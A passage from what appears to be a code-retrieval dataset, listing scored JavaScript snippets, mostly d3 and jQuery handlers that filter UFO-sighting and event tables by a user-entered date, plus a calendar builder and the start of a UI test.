console.log(inputValue);\n\n //Filter the data being entered\n var filteredData = tableData.filter(x => x.datetime === inputValue);\n tbody.html(\"\")\n filteredData.forEach((ufoData) => {\n var row = tbody.append(\"tr\");\n Object.entries(ufoData).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n}", "title": "" }, { "docid": "6b0302e52aefed896e5d25e14fe1eece", "score": "0.5923222", "text": "function handleClick(){\n // prevent from refreshing\n d3.event.preventDefault() \n \n let date = d3.select(\"#datetime\").property(\"value\");\n let filterData = tableData;\n\n // Check to see if a date was entered and filter the data using that date\n if (date){\n // Apply filter to the table data to only keep the \n // rows where the datetime value matches the filter value\n filterData = filterData.filter((row) => row.datetime === date);\n\n }\n\n displayData(filterData);\n}", "title": "" }, { "docid": "968c7b6ce1c077b0117c67d22e723a42", "score": "0.5916246", "text": "function handleClick() {\n\n //refresh \n d3.event.preventDefault();\n\n //get the date from the button\n var date = d3.select(\"#datetime\").property(\"value\");\n console.log(date);\n\n var filteredData = ufo;\n console.log(filteredData)\n\n //filter using date entered\n if (date) {\n console.log(date);\n\n //apply the dated entered to the rows\n filteredData = filteredData.filter(row => row.datetime === date);\n console.log(filteredData);\n }\n\n //build the filtered table based on date selected\n buildTable(filteredData);\n}", "title": "" }, { "docid": "05809de73f01d856bdefabe26c202947", "score": "0.591139", "text": "function handleClick() {\n //select the 1st element that matches datetime, chaining .property tells js to grab and hold in the date variable\n let date = d3.select(\"#datetime\").property(\"value\");\n // set default filter. tableData is our original file so if no date is picked then all data will be returned\n let filteredData = tableData;\n // Check to see if a date was entered and filter the data using that date\n if (date) {\n //this applies the filter to the data to the date variable created above\n filteredData = filteredData.filter(row => row.datetime === date);\n };\n\n //Rebuild the table using the filtered data\n // @Note: If no date was entered, then filteredData will just be the original tableData.\n buildTable(filteredData);\n}", "title": "" }, { "docid": "52ba871c1db2d8f0395c6650dcf42ac8", "score": "0.58920544", "text": "function showUsers() {\n str = document.getElementById(\"viewDateOption\").value;\n if (str.length == 0) {\n document.getElementById(\"userTable\").innerHTML = \"\";\n return;\n } else {\n var xmlhttp = new XMLHttpRequest();\n xmlhttp.onreadystatechange = function() {\n if (this.readyState == 4 && this.status == 200) {\n document.getElementById(\"userTable\").innerHTML = this.responseText;\n }\n };\n xmlhttp.open(\"GET\", \"php/loadUsers.php?q=\" + str , true); // Str here is the condition the user provided like today, past year, past month\n xmlhttp.send();\n }\n}", "title": "" }, { "docid": "ab13466d9f05cb099adaa7fa86765c4e", "score": "0.5880746", "text": "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n \n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n if(inputValue) {\n var filteredData = tableData.filter((row) => row.datetime === inputValue);\n\n }\n\n createTable(filteredData);\n\n}", "title": "" }, { "docid": "ce4674346eeb6911a5c4c18f1d9ee5c9", "score": "0.5879699", "text": "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n \n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n \n console.log(inputValue);\n \n // Use the form input to filter the data by datetime\n var filterData = tableData.filter(info => info.datetime === inputValue);\n console.log(filterData);\n\n // Clear the original table\n tableBody.html(\"\");\n\n //Loop through the data and append data to the table body\n filterData.forEach(data => {\n console.log(data);\n var row = tableBody.append(\"tr\");\n Object.entries(data).forEach(([key, value]) =>{\n console.log(key, value);\n row.append(\"td\").text(value);\n })\n })\n}", "title": "" }, { "docid": "69e48ec01aa318818ec2e43941a398bd", "score": "0.5866465", "text": "function runEnter() {\n \n // Prevent the page from refreshing\n // d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n \n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n \n console.log(inputValue);\n \n // Build table\n \n // Clear out table\n tbody.html(\"\");\n \n // Filter \n \n var filteredData = data.filter(crash => crash.Date === inputValue);\n \n console.log(filteredData);\n \n filteredData.forEach((data) => {\n \n var row = tbody.append(\"tr\");\n \n Object.entries(data).forEach(function([key, value]) {\n \n var cell = row.append(\"td\");\n \n cell.text(value);\n })\n })\n }", "title": "" }, { "docid": "5b086594e3f98c082ccbba0e16ff4695", "score": "0.58564544", "text": "function handleClick() { \n let date = d3.select(\"#datetime\").property(\"value\");\n let filteredData = tableData;\n if (date) {\n // Show only the rows where the date is equal to the date filter we created above\n filteredData = filteredData.filter(row => row.datetime === date);\n };\n\n buildTable(filteredData);\n}", "title": "" }, { "docid": "7bd42b1c48ac248f983f422cccf51e54", "score": "0.58424336", "text": "function datefilter (){\r\n var date=d3.select (\"#datetime\").property(\"value\");\r\n filterdata = tableData.filter (row => row.datetime== date);\r\n console.log(filterdata);\r\n tableDisplay(filterdata);\r\n }", "title": "" }, { "docid": "1bbea8e0fbb90efb360e2c78d7771935", "score": "0.58409697", "text": "function handleClick() {\n // Identify the input element \n var inputField = d3.select(\"#datetime\");\n\n // Assign the filtered data from `tableData` to a descriptive variable \n var filteredTableData = tableData;\n\n // Get the value property of the input element\n var inputFieldValue = inputField.property(\"value\");\n\n // console.log(inputFieldValue);\n\n // To filter the data based on datetime column and user input\n var filterData = filteredTableData.filter(x => x.datetime === inputFieldValue);\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Clear the existing output\n tbody.html(\"\");\n\n// Use d3 to append rows into the table body, and \n// update each cell's text with filtered UFO report values\n filterData.forEach(function(ufoReport) {\n var row = tbody.append(\"tr\");\n Object.entries(ufoReport).forEach(function([key, value]) {\n // Append a cell to the row for each value\n // in the UFO report object\n var cell = row.append(\"td\");\n cell.text(value);\n })\n})\n}", "title": "" }, { "docid": "37e1d7deef5ae637c5c0d24b04822700", "score": "0.5839814", "text": "function filterData() {\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Gets value from input field\n var inputValue = d3.select(\"#datetime\").property(\"value\");\n console.log(inputValue);\n\n // Filters data according to date\n filteredData = data.filter(sighting => sighting.datetime === inputValue)\n\n // Clears Table Body\n tableBody.html(\"\");\n \n // Re-populates table with filtered data\n filteredData.forEach((dataRow) => {\n let tableRow = tableBody.append(\"tr\");\n cols.forEach((col) => tableRow.append(\"th\").text(dataRow[col2Data[col]]));\n });\n\n}", "title": "" }, { "docid": "99bd0decea0d3348936aef5122a11580", "score": "0.58352", "text": "function handleChange(event) {\n \n d3.event.preventDefault();\n tbody.html('');\n var inputDate = d3.event.target.value;\n var filteredData = tableData.filter(ufo => ufo.datetime === inputDate);\n filteredData.forEach(function (ufo) {\n var row = tbody.append(\"tr\");\n \n Object.entries(ufo).forEach(function ([key,value]) {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n\n}", "title": "" }, { "docid": "d2fb26c47e5d0d8a343210b5fb6e5c90", "score": "0.58339626", "text": "function dateFilter(){\r\n //get the input and convert them into a Date-Object\r\n let input1 = $(\"#dateFil1\").val();\r\n let input2 = $(\"#dateFil2\").val();\r\n let date1 = new Date(input1);\r\n let date2 = new Date(input2);\r\n let arr = $(\"tr td\").filter(\":nth-child(1)\");\r\n\r\n //show or hide the elements , parentElement=<tr></tr>\r\n for(let i = 0; i<arr.length; i++){\r\n let help = $(arr[i]).text();\r\n let date = new Date(help);\r\n if(date>date1 && date<date2){\r\n $(arr[i].parentElement).show();\r\n }\r\n else\r\n $(arr[i].parentElement).hide();\r\n }\r\n\r\n}", "title": "" }, { "docid": "68ad6cca0bbd3e3129841703a1d35629", "score": "0.58323425", "text": "function buttonClick() {\n d3.event.preventDefault();\n console.log(userInput.property(\"value\"));\n var user_table = data.filter(sightings => sightings.datetime===userInput.property(\"value\"));\n showTable(user_table);\n}", "title": "" }, { "docid": "3db9f34dcbfb5ef966ccfa31f430dc05", "score": "0.5823805", "text": "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n console.log(inputValue);\n console.log(tableData);\n\n var filteredData = tableData.filter(sightings => sightings.datetime === inputValue);\n\n console.log(filteredData);\n\n \n\n }", "title": "" }, { "docid": "54054758eee83cfb39c1c0b675da73bb", "score": "0.57992506", "text": "function checkInput() {\n // Initialize inputs\n var startInput = document.getElementById(\"startYear\"),\n endInput = document.getElementById(\"endYear\");\n \n // If \"enter\" is hit while the user is inputing start year, call grabDate\n startInput.addEventListener(\"keyup\", function(event) {\n event.preventDefault();\n if (event.keyCode === 13) {\n grabDate();\n }\n });\n\n // If \"enter\" is hit while the user is inputing end year, call grabDate\n endInput.addEventListener(\"keyup\", function(event) {\n event.preventDefault();\n if (event.keyCode === 13) {\n grabDate();\n }\n });\n}", "title": "" }, { "docid": "452128fed7abef1849a389bb32b0b153", "score": "0.57901835", "text": "function search() {\n \n // Use the form input to filter the data by date\n Object.entries(filters).forEach(([key, value]) => {\n results = data.filter(ufo => ufo[key] === value);\n })\n \n // Clear previous search result\n tbody.html(\"\");\n\n updateTable();\n\n}", "title": "" }, { "docid": "a9a9cfb7c07f147182c3e987f18a7c0b", "score": "0.5780648", "text": "function filter_table(date_input){\n\n var tbody = d3.select('tbody');\n //remove all rows of data currently in table\n tbody.selectAll(\"tr\").remove();\n data.forEach(function(sighting){\n //only appends rows if date is the same as that which wa sspecified by the user.\n if(date_input == sighting.datetime){\n new_row = tbody.append(\"tr\");\n Object.entries(sighting).forEach(function([key,value]){\n new_row.append(\"td\").text(value)\n });\n\n }\n\n });\n}", "title": "" }, { "docid": "46de866ae9a57c1dda3262bb3499675a", "score": "0.5762531", "text": "function setupDateFields() {\n \n var df = ls.dates.fields;\n\n if (!df.from.selector || !df.from.indexField)\n return;\n \n var fs = df.from.selector;\n\n if (df.to.selector && df.to.indexField && df.from.selector) {\n fs += ', ' + df.to.selector;\n } else if (df.to.selector && df.to.indexField ) {\n fs = df.to.selector;\n }\n\n $(fs).on('change', function(e) {\n handleDateInput( $(this).val(), $(this).data('dateDir'));\n });\n\n \n $(fs).on('keydown', function (e) {\n // search on return press\n if(e.which === 13){\n e.preventDefault();\n handleDateInput( $(this).val(), $(this).data('dateDir'));\n } \n // clear field and search on backspace/delete\n else if(e.which == 8 || e.which == 46) {\n e.preventDefault();\n $(this).val('');\n handleDateInput( $(this).val(), $(this).data('dateDir'));\n }\n });\n\n function handleDateInput(val, dir) {\n local[dir] = null;\n if (val && dir) {\n var timeString = '00:00';\n if (dir == 'toDate')\n timeString = '23:59';\n val = df.zone ? val + ' ' + timeString + \" \" + df.zone : val + timeString;\n var dateObj = new Date(val);\n local[dir] = dateObj;\n } \n\n if(local.fromDate || local.toDate) {\n local.dateSearch = true;\n } else {\n local.dateSearch = false;\n }\n ls.searchParams.skip = 0;\n local.currentPage = 1;\n search();\n }\n \n }", "title": "" }, { "docid": "4f3b79f7ee208d842d6a6e08f1309af7", "score": "0.5758698", "text": "function handleClick() {\n d3.event.preventDefault();\n var date = d3.select(\"#datetime\").property(\"value\");\n let filteredData = tableData;\n if (date) {\n filteredData = filteredData.filter(row => row.datetime === date);\n }\n createTable(filteredData);\n}", "title": "" }, { "docid": "815cd6f9335931294d8f5ed5c7ab0ec2", "score": "0.5750492", "text": "function getDateInfo() {\r\n var y = document.eventForm.year.value;\r\n var m = document.eventForm.month.options[document.eventForm.month.options.selectedIndex].value;\r\n var d = 1;//document.eventForm.day.options[document.eventForm.day.options.selectedIndex].value;\r\n //var hlpr = monthEnd[m];\r\n //if (d < monthEnd[m] + 1) {\r\n //if (m == 1 && y % 4 == 0) { \r\n //hlpr++;\r\n //}\r\n var month = months[m];\r\n var i =1;\r\n var text;\r\n while(i<=42) {\r\n text = \"text\"+i;\r\n //alert(text);\r\n document.eventForm[text].style.backgroundColor=\"white\";\r\n i++;\r\n }\r\n if(y <= 99999) {\r\n var c = new Date(y,m,d);\r\n var dayOfWeek = c.getDay();\r\n var myday = weekDay[dayOfWeek];\r\n \r\n if(myday == 'Sunday') {\r\n for(i=1;i<=28;i++) {\r\n text = \"text\"+i;\r\n document.eventForm[text].value=i;\r\n }\r\n if(month != 'February') {\r\n document.eventForm.text29.value='29';\r\n document.eventForm.text30.value='30';\r\n }else {\r\n if(y % 4 == 0) {\r\n document.eventForm.text29.value='29';\r\n }else {\r\n document.eventForm.text29.value='';\r\n }\r\n document.eventForm.text30.value='';\r\n }\r\n if(month == 'January' || month == 'March' || month == 'May' || month == 'July' || month == 'August' || month == 'October' || month == 'December') {\r\n document.eventForm.text31.value='31';\r\n }else {\r\n document.eventForm.text31.value='';\r\n }\r\n document.eventForm.text32.value='';\r\n document.eventForm.text33.value='';\r\n document.eventForm.text34.value='';\r\n document.eventForm.text35.value='';\r\n document.eventForm.text36.value='';\r\n document.eventForm.text37.value='';\r\n \r\n tempId = document.getElementById(\"td1\");\r\n tempId = tempId.firstChild;\r\n //alert(\"In sunday--TempId--\"+tempId)\r\n getData(tempId);\r\n \r\n }\r\n \r\n if(myday == 'Monday') {\r\n document.eventForm.text1.value='';\r\n for(i=2;i<=29;i++) {\r\n text = \"text\"+i;\r\n j = i-1;\r\n document.eventForm[text].value=j;\r\n }\r\n if(month != 'February') {\r\n document.eventForm.text30.value='29';\r\n document.eventForm.text31.value='30';\r\n }else {\r\n if(y % 4 == 0) {\r\n document.eventForm.text30.value='29';\r\n }else {\r\n document.eventForm.text30.value='';\r\n }\r\n document.eventForm.text31.value='';\r\n }\r\n if(month == 'January' || month == 'March' || month == 'May' || month == 'July' || month == 'August' || month == 'October' || month == 'December') {\r\n document.eventForm.text32.value='31';\r\n }else {\r\n document.eventForm.text32.value='';\r\n }\r\n document.eventForm.text33.value='';\r\n document.eventForm.text34.value='';\r\n document.eventForm.text35.value='';\r\n document.eventForm.text36.value='';\r\n document.eventForm.text37.value='';\r\n \r\n tempId = document.getElementById(\"td2\");\r\n tempId = tempId.firstChild;\r\n getData(tempId);\r\n }\r\n \r\n if(myday == 'Tuesday') {\r\n document.eventForm.text1.value='';\r\n document.eventForm.text2.value='';\r\n for(i=3;i<=30;i++) {\r\n text = \"text\"+i;\r\n j = i-2;\r\n document.eventForm[text].value=j;\r\n }\r\n if(month != 'February') {\r\n document.eventForm.text31.value='29';\r\n document.eventForm.text32.value='30';\r\n }else {\r\n if(y % 4 == 0) {\r\n document.eventForm.text31.value='29';\r\n }else {\r\n document.eventForm.text31.value='';\r\n }\r\n document.eventForm.text32.value='';\r\n }\r\n if(month == 'January' || month == 'March' || month == 'May' || month == 'July' || month == 'August' || month == 'October' || month == 'December') {\r\n document.eventForm.text33.value='31';\r\n }else {\r\n document.eventForm.text33.value='';\r\n }\r\n document.eventForm.text34.value='';\r\n document.eventForm.text35.value='';\r\n document.eventForm.text36.value='';\r\n document.eventForm.text37.value='';\r\n \r\n tempId = document.getElementById(\"td3\");\r\n tempId = tempId.firstChild;\r\n getData(tempId);\r\n \r\n }\r\n \r\n if(myday == 'Wednesday') {\r\n document.eventForm.text1.value='';\r\n document.eventForm.text2.value='';\r\n document.eventForm.text3.value='';\r\n for(i=4;i<=31;i++) {\r\n text = \"text\"+i;\r\n j = i-3;\r\n document.eventForm[text].value=j;\r\n }\r\n if(month != 'February') {\r\n document.eventForm.text32.value='29';\r\n document.eventForm.text33.value='30';\r\n }else {\r\n if(y % 4 == 0) {\r\n document.eventForm.text32.value='29';\r\n }else {\r\n document.eventForm.text32.value='';\r\n }\r\n document.eventForm.text33.value='';\r\n }\r\n if(month == 'January' || month == 'March' || month == 'May' || month == 'July' || month == 'August' || month == 'October' || month == 'December') {\r\n document.eventForm.text34.value='31';\r\n }else {\r\n document.eventForm.text34.value='';\r\n }\r\n document.eventForm.text35.value='';\r\n document.eventForm.text36.value='';\r\n document.eventForm.text37.value='';\r\n \r\n tempId = document.getElementById(\"td4\");\r\n tempId = tempId.firstChild;\r\n getData(tempId);\r\n }\r\n \r\n if(myday == 'Thursday') {\r\n document.eventForm.text1.value='';\r\n document.eventForm.text2.value='';\r\n document.eventForm.text3.value='';\r\n document.eventForm.text4.value='';\r\n for(i=5;i<=32;i++) {\r\n text = \"text\"+i;\r\n j = i-4;\r\n document.eventForm[text].value=j;\r\n }\r\n if(month != 'February') {\r\n document.eventForm.text33.value='29';\r\n document.eventForm.text34.value='30';\r\n }else {\r\n if(y % 4 == 0) {\r\n document.eventForm.text33.value='29';\r\n }else {\r\n document.eventForm.text33.value='';\r\n }\r\n document.eventForm.text34.value='';\r\n }\r\n if(month == 'January' || month == 'March' || month == 'May' || month == 'July' || month == 'August' || month == 'October' || month == 'December') {\r\n document.eventForm.text35.value='31';\r\n }else {\r\n document.eventForm.text35.value='';\r\n }\r\n document.eventForm.text36.value='';\r\n document.eventForm.text37.value='';\r\n \r\n tempId = document.getElementById(\"td5\");\r\n tempId = tempId.firstChild;\r\n getData(tempId);\r\n \r\n }\r\n \r\n if(myday == 'Friday') {\r\n document.eventForm.text1.value='';\r\n document.eventForm.text2.value='';\r\n document.eventForm.text3.value='';\r\n document.eventForm.text4.value='';\r\n document.eventForm.text5.value='';\r\n for(i=6;i<=33;i++) {\r\n text = \"text\"+i;\r\n j = i-5;\r\n document.eventForm[text].value=j;\r\n }\r\n if(month != 'February') {\r\n document.eventForm.text34.value='29';\r\n document.eventForm.text35.value='30';\r\n }else {\r\n if(y % 4 == 0) {\r\n document.eventForm.text34.value='29';\r\n }else {\r\n document.eventForm.text34.value='';\r\n }\r\n document.eventForm.text35.value='';\r\n }\r\n if(month == 'January' || month == 'March' || month == 'May' || month == 'July' || month == 'August' || month == 'October' || month == 'December') {\r\n document.eventForm.text36.value='31';\r\n }else {\r\n document.eventForm.text36.value='';\r\n }\r\n document.eventForm.text37.value='';\r\n \r\n tempId = document.getElementById(\"td6\");\r\n tempId = tempId.firstChild;\r\n getData(tempId);\r\n \r\n }\r\n \r\n if(myday == 'Saturday') {\r\n document.eventForm.text1.value='';\r\n document.eventForm.text2.value='';\r\n document.eventForm.text3.value='';\r\n document.eventForm.text4.value='';\r\n document.eventForm.text5.value='';\r\n document.eventForm.text6.value='';\r\n for(i=7;i<=34;i++) {\r\n text = \"text\"+i;\r\n j = i-6;\r\n document.eventForm[text].value=j;\r\n }\r\n if(month != 'February') {\r\n document.eventForm.text35.value='29';\r\n document.eventForm.text36.value='30';\r\n }else {\r\n if(y % 4 == 0) {\r\n document.eventForm.text35.value='29';\r\n }else {\r\n document.eventForm.text35.value='';\r\n }\r\n document.eventForm.text36.value='';\r\n }\r\n if(month == 'January' || month == 'March' || month == 'May' || month == 'July' || month == 'August' || month == 'October' || month == 'December') {\r\n document.eventForm.text37.value='31';\r\n }else {\r\n document.eventForm.text37.value='';\r\n }\r\n \r\n tempId = document.getElementById(\"td7\");\r\n tempId = tempId.firstChild;\r\n getData(tempId);\r\n \r\n }\r\n }\r\n else {\r\n alert(\"Year is invalid.\\nCheck it again.\");\r\n }\r\n}", "title": "" }, { "docid": "635779d87b31e64efb94d3dd284aefc1", "score": "0.5746572", "text": "function getUserInput(start) {\n // title\n var title = $(\"#title\").val();\n\n // allDay\n var allDay = $(\"#allDay\").is(':checked');\n\n // rrule\n var rrule = parseInt($(\"#rrule\").val());\n\n // give type based on whether rrule exists\n var type = (rrule != \"0\") ? 'repeat' : 'event';\n\n // endRepeat (\"\" if there is no rrule or if the event repeats forever)\n var endRepeat = ($(\"#end_repeat\").val()) ? toDatetime($(\"#end_repeat\").val(), 0, 0, 'AM') : null;\n\n // get start time data\n var start_date = $(\"#start_datepicker\").val();\n var start_hour = parseInt($(\"#start_hour\").val());\n var start_min = parseInt($(\"#start_min\").val());\n var start_ampm = $(\"#start_ampm\").val();\n\n // get end time data\n var end_date = $(\"#end_datepicker\").val();\n var end_hour = parseInt($(\"#end_hour\").val());\n var end_min = parseInt($(\"#end_min\").val());\n var end_ampm = $(\"#end_ampm\").val();\n\n // check the start and end inputs, set to certain defaults if the user was dumb\n\n // if they don't give a start date, set it to the start previously\n if (! start_date)\n start_date = DatetimetoSlashdate(start);\n // if all we have is a start date and minutes, make the event at midnight\n if (! start_hour) {\n start_hour = start.getHours();\n start_min = 0;\n start_ampm = \"AM\";\n }\n // if we have a start hour but no minutes, give zero minutes\n else if (start_hour && !start_min)\n start_min = 0;\n\n // same business for end inputs\n if (! end_date)\n end_date = DatetimetoSlashdate(end);\n if (! end_hour) {\n end_hour = 12;\n end_min = 0;\n end_ampm = \"AM\";\n }\n else if (end_hour && !end_min)\n end_min = 0;\n\n // Now we can finally convert these to actual datetimes\n // get start\n var start_datetime = toDatetime( start_date, start_hour, start_min, start_ampm);\n\n // get end\n var end_datetime = toDatetime( end_date, end_hour, end_min, end_ampm);\n\n\n // handle the cases where the end is before the start\n if (end_datetime < start_datetime) {\n end_datetime = dateChange(start_datetime, 0, 120);\n }\n // if start and end time are the same, let's say it's implied that we have an allDay event\n if (end_datetime == start_datetime)\n allDay = true;\n\n // make sure endRepeat is now before the start date\n if (endRepeat < start_datetime)\n endRepeat = null;\n\n // create object to return\n var userData = {\n title: title,\n start: start_datetime,\n end: end_datetime,\n allDay: allDay,\n type: type,\n rrule: rrule,\n endRepeat: endRepeat\n };\n\n // return this data object\n return userData;\n}", "title": "" }, { "docid": "a8453608f7593cb40822d5fc4f34d926", "score": "0.5743771", "text": "function dateFilter () {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n\n // Store user input\n var userDate = d3.select(\"#datetime\");\n var userValue = userDate.property(\"value\")\n\n // Delete all 'tr' and 'td' tags\n tbody.remove();\n\n // Add back tbody in proper location\n var table = d3.select('table');\n tbody = table.append('tbody');\n\n\n console.log(userValue);\n \n // Iterate through data and pull values with matching date/time\n if (userValue == \"\") {\n tableData.forEach((ufoInstance) => {\n \n var row = tbody.append('tr');\n \n Object.entries(ufoInstance).forEach(([key, value]) => {\n var cell = row.append('td');\n cell.text(value);\n });\n });\n }\n\n else {\n var filteredData = tableData.filter(ufoSighting => ufoSighting.datetime === userValue); \n \n filteredData.forEach((ufoInstance) => {\n \n var row = tbody.append('tr')\n\n Object.entries(ufoInstance).forEach(([key, value]) => {\n var cell = row.append('td');\n cell.text(value);\n });\n });\n } \n}", "title": "" }, { "docid": "40baad7328c47e703aaad6b0ec9fdda9", "score": "0.5742464", "text": "function handleClick() {\n //console.log(\"A button was clicked!\");\n \n // We can use d3 to see the object that dispatched the event\n ///console.log(d3.event.target);\n\n //prevent the page from refreshing\n ///d3.event.preventDefault();\n\n //select the input element and get the raw HTML node\n var selectedDate = d3.select(\"#datetime\").node().value;\n console.log(selectedDate);\n\n let selectedData = tableData\n \n selectedData = selectedData.filter(selectedD => selectedD.datetime === selectedDate);\n \n\n createTable(selectedData)\n\n}", "title": "" }, { "docid": "b4970e21b212602bb838548f3608f6ac", "score": "0.57264996", "text": "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n \n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n \n console.log(inputValue);\n console.log(tableData);\n\n if (inputValue) {\n var filteredData = tableData.filter(x => x.datetime === inputValue);\n }\n createTable(filteredData);\n\n console.log(filteredData);\n}", "title": "" }, { "docid": "e16faea094ab8ecfd92112d49833e4da", "score": "0.57245404", "text": "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\".form-control\");\n console.log(inputElement);\n\n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n\n\n console.log(inputValue);\n \n\n var filteredData = tableData.filter(tableData => tableData.datetime === inputValue);\n console.log(filteredData);\n \n}", "title": "" }, { "docid": "d80cdd7fb9aee1c2db0afabec58446ee", "score": "0.5724103", "text": "function runEnter() {\n\n // prevent the page from reloading\n d3.event.preventDefault();\n\n //select the input element and get the raw HTML node\n inputElement = d3.select(\"#datetime\");\n\n //get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n console.log(inputValue);\n console.log(tableData);\n\n //filter the table with the user input value\n var filteredData = tableData.filter(table => table.datetime === inputValue);\n console.log(filteredData);\n\n // select the tbody element\n var tbody = d3.select(\"tbody\");\n\n tbody.html(\"\");\n\n filteredData.forEach((alienSighting) => {\n var row = tbody.append(\"tr\");\n Object.values(alienSighting).forEach(value => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n }); \n \n}", "title": "" }, { "docid": "e98c675003737a2ea6a4dfeaf9678ead", "score": "0.5717108", "text": "function handleClick() {\n // Grab the datetime value from the filter\n let date = d3.select(\"#datetime\").property(\"value\");\n let filteredData = tableData;\n \n // Check to see if a date was entered and filter the\n // data using that date.\n if (date) {\n // Apply `filter` to the table data to only keep the\n // rows where the `datetime` value matches the filter value\n filteredData = filteredData.filter(row => row.datetime === date);\n }\n \n // Rebuild the table using the filtered data\n // @NOTE: If no date was entered, then filteredData will\n // just be the original tableData.\n buildTable(filteredData);\n }", "title": "" }, { "docid": "ea99f56b84ca61e0509c14c078e60aad", "score": "0.5708398", "text": "function checkDate()\n{\n var element = this;\n var re = /^([A-Za-z]*)\\s*([0-9]*)\\s*([A-Za-z]*)\\s*([0-9]*)/;\n var date = element.value.trim();\n if (date.substring(0,1) == '[')\n date = date.substring(1);\n if (date.slice(-1) == ']')\n date = date.slice(0,-1);\n date = date.trim();\n if (date.length == 0)\n return true;\n var result = re.exec(date);\n var matched = (typeof result === 'object') &&\n (result instanceof Array);\n var l0, n1, l2, l3, n3, pi, mi;\n if (matched)\n {\n //console.log('matched: ' + result.toString());\n var pref = result[1].toLowerCase(); // prefix on date or month\n l0 = pref.length;\n pi = preTab[pref];\n if (pi === undefined)\n pi = monTab[pref];\n\n var fstnum = result[2];\n if (fstnum.length > 0)\n n1 = fstnum - 0;\n else\n n1 = 0;\n\n if ((pi == 'Q' || result[3].toLowerCase() == 'q') && \n n1 >= 1 && n1 <= 4)\n {\n mi = (3 * n1) - 2;\n l2 = 1;\n }\n else\n {\n var month = result[3].toLowerCase();\n l2 = month.length;\n if (l2 == 0)\n mi = pi;\n else\n mi = monTab[month];\n }\n\n var sndnum = result[4];\n l3 = sndnum.length;\n if (l3 > 0)\n n3 = sndnum - 0;\n else\n n3 = 0;\n }\n\n if (matched)\n {\n //console.log('checkDate: l0=' + l0 + ', n1=' + n1 + ', l2=' + l2 + ', l3=' + l3 + ', n3=' + n3 + ', pi=' + pi + ', mi=' + mi);\n matched = (((n1 > 31 && n1 < 2030 && l2 > 0 && n3 <= 31) || // yyyy mmm [dd]\n (n1 <= 31 && l2 > 0 && n3 > 1000 && n3 < 2030) || // [dd] mmmm yyyy\n (n1 <= 31 && l2 > 0 && l3 == 0) || // [dd] mmmm\n (n1 == 0 && l0 > 0 && n3 <= 31) || // mmmm dd\n (n1 == 0 && l0 > 0 && n3 == 0) || // mmmm\n (n1 > 1000 && n1 < 2030 && l2 == 0 && n3 == 0)) && // yyyy\n pi !== undefined &&\n mi !== undefined) ||\n pi == '5' ||\n pi == 'F';\n }\n\n setErrorFlag(element, matched);\n}", "title": "" }, { "docid": "9c7de737b094b0bc7702ecbd165896c7", "score": "0.5680618", "text": "function findEvents(){\n var cityInput = $(\"#city-input\").val().trim();\n renderEvents(cityInput);\n }", "title": "" }, { "docid": "b7f55edf1e731c39a198695cd793ebd1", "score": "0.5678914", "text": "function displayDate(form)\n{\n var x = form.entry.value;\n alert(\"You Typed: \" + x);\n document.getElementById(\"results\").innerHTML = Date();\n}", "title": "" }, { "docid": "8212d659ebfb2c7c27555f08f52def6b", "score": "0.567467", "text": "function runEnter() {\n\n // Prevent the page from refreshing\n d3.event.preventDefault();\n \n // Select the input element and get the raw HTML node\n var inputElement = d3.select(\"#datetime\");\n \n // Get the value property of the input element\n var inputValue = inputElement.property(\"value\");\n\n var filteredData = tableData.filter(sighting => sighting.datetime === inputValue);\n\n tbody.html(\"\");\n\n // Loop through array of objects then each object\n filteredData.forEach((object) => {\n var row = tbody.append(\"tr\");\n\n // Get the entries for each object in the array\n Object.entries(object).forEach(([key, value]) => {\n var cell = row.append(\"td\");\n cell.text(value);\n });\n });\n \n}", "title": "" }, { "docid": "6cad4a8846f93bd9e0eb5d19cfd97051", "score": "0.5651177", "text": "function handleCitySearchClick() {\n if(datetimeInput.value === \"\") {\n var filterCity = cityInput.value.trim().toLowerCase();\n \n filteredCities = dataSet.filter(function(city) {\n var cityEntered = city.city;\n\n return cityEntered === filterCity;\n });\n cityRenderTable();\n }\n\n else {\n var filterDate = datetimeInput.value.trim();\n var filterCity = cityInput.value.trim().toLowerCase();\n \n filteredCities = dataSet.filter(function(city) {\n var cityEntered = city.city;\n\n return cityEntered === filterCity;\n }),\n \n filteredDates = filteredCities.filter(function(date) {\n var dateEntered = date.datetime;\n \n // If true, add the to the filtered table\n return dateEntered === filterDate;\n\n }); \n renderTable();\n }\n}", "title": "" }, { "docid": "7993a6e56c7ed9c9ff479233843eaf07", "score": "0.5648573", "text": "function C16036_Available_Times_list_corresponds_to_the_date_selected()\n{\ntry{\n Log.AppendFolder(\"C16036_Available_Times_list_corresponds_to_the_date_selected\");\n InitializationEnviornment.initiliaze(); \n AppLoginLogout.login();\n nextDate = CommonCalender.getTomorrowsDate();\n var expectedDate=aqConvert.DateTimeToFormatStr(nextDate, \"%#m/%#d/%Y\");\n WrapperFunction.selectKeyword(\"Daily Admission\"); \n selectPackage(\"3 site Combi\",\"Adult\");\n aqUtils.Delay(2000);\n if(datetimeformSubWindow.Exists){ \n selectDateFromSubWindow(nextDate);\n var actualDate = 